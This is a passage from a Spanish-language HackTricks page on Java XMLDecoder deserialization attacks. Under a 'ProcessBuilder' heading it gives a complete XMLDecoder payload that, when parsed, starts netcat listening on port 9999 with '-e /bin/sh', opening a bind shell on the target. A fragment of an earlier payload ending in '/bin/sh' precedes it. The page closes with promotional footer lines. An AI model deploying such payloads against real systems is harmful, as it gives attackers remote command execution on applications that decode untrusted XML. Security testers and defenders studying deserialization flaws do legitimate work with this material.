<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

Constructor de Procesos

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Herramientas

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización